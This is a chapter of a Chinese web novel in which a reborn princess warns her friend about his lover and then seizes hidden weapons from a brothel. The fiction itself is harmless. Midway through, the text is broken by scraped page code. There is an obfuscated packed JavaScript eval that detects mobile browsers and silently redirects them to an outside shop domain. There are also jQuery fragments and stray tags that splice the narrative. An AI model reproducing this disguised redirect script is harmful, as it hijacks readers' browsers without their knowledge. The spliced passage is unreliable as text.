44. 第四十四章

作品:《奸臣只想尚公主(双重生)

    孟砚梨张了张口,思及他们为查西市刺客之事,俱是彻夜未眠。


    本想邀请顾云况入府喝杯茶,再歇息片刻。


    话到唇边却又拐了个弯,只道:“本宫累了,也不打算邀顾大人进府一叙。大人请回吧。”


    顾云况闻言,也明白他们二人皆已疲惫不堪。


    于是恭敬行礼,向她道别:“下官告退。”


    临走前还不忘叮嘱:“还请殿下好生休息,保重身体。”


    经历整夜加上半日折腾,孟砚梨本想着回府后不管不顾地睡上一觉。


    谁知她刚梳洗完毕准备休息,却听得屋外传来熟悉的声音:“阿梨阿梨阿梨阿梨阿梨!”


    南宫浩渺一边嚷嚷着,一边开始敲门。


    桃邀颇为无奈,请示孟砚梨后方才放他进屋。


    只听见南宫浩渺急切道:“阿梨,你的人几时竟把青莲阁全给端了。”


    先前田恪提过,他们那日追查到临渊小筑前,听从李愈音的安排,先行搜查了青莲阁。


    虽然不曾寻到孟砚梨与顾云况,但却另有所获。


    青莲阁作为云氏埋伏在长安城内最大的暗桩,其地库之中藏有数以千计的兵器火药。


    田恪将地库钥匙交给孟砚梨后,她还未寻得时间亲自去收缴。


    但青莲阁当天便被查封,南宫浩渺一连几日未见到他那心尖上的情郎梅寻望梅公子,直到今日清晨,才得知消息。


    那位梅公子在天牢中想尽办法,把身上所有贵重之物都送予狱卒,又拿出可证明他与定国公世子关系匪浅的信物,才终于遣人给南宫浩渺送了口信出来。


    南宫浩渺这才知道心上人被下了狱,还同云氏谋反扯上关系。


    他不敢让国公爷与夫人知道,只能偷摸前来长公主府:“阿梨。寻望必然和云氏没有关系。青莲阁中其余人我不管,但他是我打算相守一生之人,不能让他再在天牢受苦。”


    “……”


    孟砚梨沉默半晌,将南宫浩渺上下打量数眼。


    青莲阁讨生活的男伎小倌们,身份鱼龙混杂,的确不是各个都与云氏搅合到一起。


    孟砚梨其实也不清楚梅寻望究竟同云氏有没有关系,上一世那时,南宫浩渺并未将梅寻望介绍给她认识。


    直到南宫浩渺在青莲阁身亡,她也不清楚到底是阁内哪些人与云氏旧臣里应外合,最终做局残忍杀害了他。


    因此,孟砚梨此刻只能斟酌道:“有际。放过他可以。”


    但:“须得影卫队审过之后再议。只要他是清白的,我定会保他出狱。”


    南宫浩渺顿时捂住心口,露出一副极为痛苦模样。


    他祈求般看向孟砚梨:“好阿梨。你那影卫队里各个都是酷吏,铁血无情。寻望他不可能受得住。”


    “有际,”孟砚梨难得正色看向他,目光灼灼:“我同你说一件事,你是否信我,全凭咱两十数年的交情。”


    “你若不信,大可当我胡言乱语。”


    她说着,神情愈发严肃,眉目紧促不说,连唇角都紧抿成线。


    南宫浩渺看在眼底,心头不由打鼓,暗道梅寻望该不会掺和了什么皇室命案罢。


    那他或许当真保不住他。


    只听见孟砚梨又接着说道:“但你务必保证,从此刻起,你无论去哪儿,无论做什么,都得由国公府侍卫寸步不离地守着。还有,长公主府上侍卫,我也会拨给你一部分。”


    “什么,什么事竟如此夸张?”


    南宫浩渺被她这神情言辞吓了一跳,咽了咽喉咙,支吾着道:“我怎么可能不信你,说来听听。”


    “我做过一个梦。”


    孟砚梨自是不可能拿重生这类玄乎其玄之事来吓他。


    易地而处,若换成南宫浩渺对她说他是重活一世,她恐怕也会觉得天方夜谭。


    因此说是梦境,显然更妥帖:“那个梦里,顾云况确为云氏太子。阿桓被他囚禁后,顾云况伙同云氏,最终坐上了帝位。”


    孟砚梨话音未落,南宫浩渺原本紧张的面目五官已然松弛许多,甚至还伸出手拍拍她的肩膀。笑着安抚道:“我当什么呢,梦境而已。”


    “再说了,”南宫浩渺虽然懒于掺和政务,倒也并非两耳不闻窗外事:“你不是在金华殿上驳斥了那位江大人,为你的游归洗清冤屈。怎么还妄论梦境。”


    孟砚梨并未立刻回应他这话,轻轻摇了摇头:“那个梦太过真实,我至今想起来都还觉得胆寒。”


    若上一世种种过往当真不过一场大梦,确是再恐怖不过的噩梦。


    孟砚梨说着,指尖不受控制得发起抖:“云氏知道定国公府是对我还有阿桓而言,最为亲密的王公之家。”


    所以:“梦中蝶姐姐因为怀了韩径的孩子,被韩径母亲还有妹妹以大补之物填得胎儿巨大,最终难产而亡,一尸两命。”


    至于南宫浩渺——


    孟砚梨垂眸,低声道:“你在青莲阁被云氏旧臣所杀,但我不清楚阁内参与此事之人究竟有谁。我宁愿相信一切都与梅公子无关,可如果那个梦是为提前警示,他并非没有嫌疑。”


    毕竟:“除了他,谁能哄得你在青莲阁流连忘返,饮酒作乐进而丧失清醒。”


    “哐当”一声,南宫浩渺手中的茶盏不小心嗑到桌沿处。


    茶水顺势洒出些许,他赶忙接过孟砚梨递来的帕子擦拭手心,半晌方才回过神道:“不可能,寻望绝不会如此待我。”


    “总之,宁可信其有,不可信其无。”


    孟砚梨全然能够理解他心中震撼。


    如果不曾经历上一世那样痛彻心扉的背叛,她也绝不愿相信,顾云况会利用她的信任,最终弑君篡位。


    她此刻并不强求南宫浩渺相信一个虚无缥缈的梦境。


    他不愿影卫队审梅寻望,孟砚梨也可以应他所求放梅寻望出狱。


    但就像她方才所言:“梅公子离开天牢后,你必得答应我,从今日起无论去哪儿,无论做何事,身边不可没有侍卫跟随,更不能夜宿青莲阁不回定国公府。”


    孟砚梨说着,忽然意识到青莲阁已经被查封,只又补充道:“不单是青莲阁,任何类似于青莲阁的场所,都须得时刻小心。”


    “好,我答应你。”


    南宫浩渺颔首:“阿梨,多谢。”


    他说着,眉眼间已然浮现一副不知人间险恶,只与梅寻望情深恩重的神情模样:“我知你是为我着想,你与寻望并不相熟,对他有所防备也是自然。”


    “但你信我一次,寻望他绝不会如此待我。”


    孟砚梨不动声色地抿了抿唇,双目微睁,复又缓缓恢复如常。


    她总算知道,她为何能与南宫浩渺成为多年挚友。


    也忽地理解上一世李愈音每每苦口婆心劝诫自己时,那犹如吃了死苍蝇般的神情究竟从何而来。


    ……


    第二日清晨。</


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16788269|183728||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    p>


    孟砚梨率领影卫队亲至青莲阁地库,还借用了皇宫侍卫队几班人马,成箱搬运其内窝藏的兵器火药。


    沿街围观的百姓们议论纷纷,孟砚梨安然坐于马车内,等到所有车辆马匹都已整装待发,帛和方才行至车内低声请示道:“殿下,是否可以回宫。”


    孟砚梨略一点头,浩浩荡荡的大军立刻携带战利品返回皇宫。


    她并未再跟随帛和他们前去天牢,而是命令车夫直往刑部。


    虽答应了南宫浩渺不让影卫队对梅寻望使用酷刑,却没答应他不借用刑部典狱役的势力暗中查探梅寻望。


    孟砚梨打算亲自去寻李愈音,再由刑部拨出人手展开调查。


    马车率先经过兵部署衙,忽地听得人声争吵传入耳中。


    是她熟悉的两位少将军。


    “停车。”


    孟砚梨示意车夫靠向路边停稳。


    她悄无声息地掀开车帘,只见连廊之下,柳菩提怒气冲冲地抱臂疾行,燕暮则默不作声地跟在她身后,脸色也不好看。


    “我告诉你如何解决此事。”


    柳菩提蓦地顿住脚步,回过头对燕暮道:“下次再有兵部同僚相约结伴‘寻宝’,你最好赶在所有人之前邀请我,跟我组队。而不是拿我当作备选。”


    孟砚梨有些惊讶,原来柳菩提也有气急败坏的时候。


    她还以为,柳菩提这样谪仙般清逸出尘的人物,即使有些情绪,也不会轻易表露。


    燕暮闻言,只觉丈二摸不着头脑:“胡言乱语什么。”


    他三步并做两步追上柳菩提,说出口的话倒不如不说。


    “这与我邀不邀请你有何关系。全然没有抓住问题实质。”


    “‘寻宝’讲究的是胜利,你与那肩不能提,手不能扛的主事文官合作,岂非荒谬。”


    柳菩提忍不住嗤笑出声:“这游戏又不只靠蛮力,还需要阅读信息,寻找线索。文官有何不可。于我而言,总比那等头脑简单,四肢发达的武夫有用。”


    她刻意对着燕暮加重“武夫”二字,听得燕暮更加火气直冒。


    孟砚梨双臂搭在车窗边沿好整以暇地看着他们两位,心道早起的鸟儿有虫吃,此番倒叫她遇着一出好戏。


    她忍不住抵唇轻咳两声,提醒他们尚有旁人在侧,好歹注意几分形象。


    柳菩提率先向她这个方向看过来,立刻恢复如常神态,向孟砚梨行礼道:“末将见过长公主殿下。”


    燕暮也一如既往热情:“哟,梨妹妹。昨儿个游归带回相府的香料好闻,我一看就知道,必然是梨妹妹精心挑选,赏他的罢。”


    孟砚梨抿唇,她确实将西市那家香料铺子买来的香囊分给顾云况些许,叫他可以挂在相府各处。


    “本宫府上还有许多。”


    若放在平日,她或许不会刻意接燕暮这话茬。


    眼下倒心眼儿小得很。


    思及这一世初遇柳菩提那日,她挽着顾云况故作亲昵模样,孟砚梨不由心生一计。


    她一副慷慨做派,难得对着燕暮笑盈盈道:“燕少将军若是喜欢,本宫再专程叫田恪给你送些。千万别跟本宫客气。”


    怎料燕暮闻言,吓得连忙摆手拒绝道:“不必不必,末将岂敢。都是沾丞相大人的光。”


    他可不敢收孟砚梨所赠之物。


    叫顾游归那厮知道,恐怕会扒了他的皮。


    他还年轻,不想英年早逝。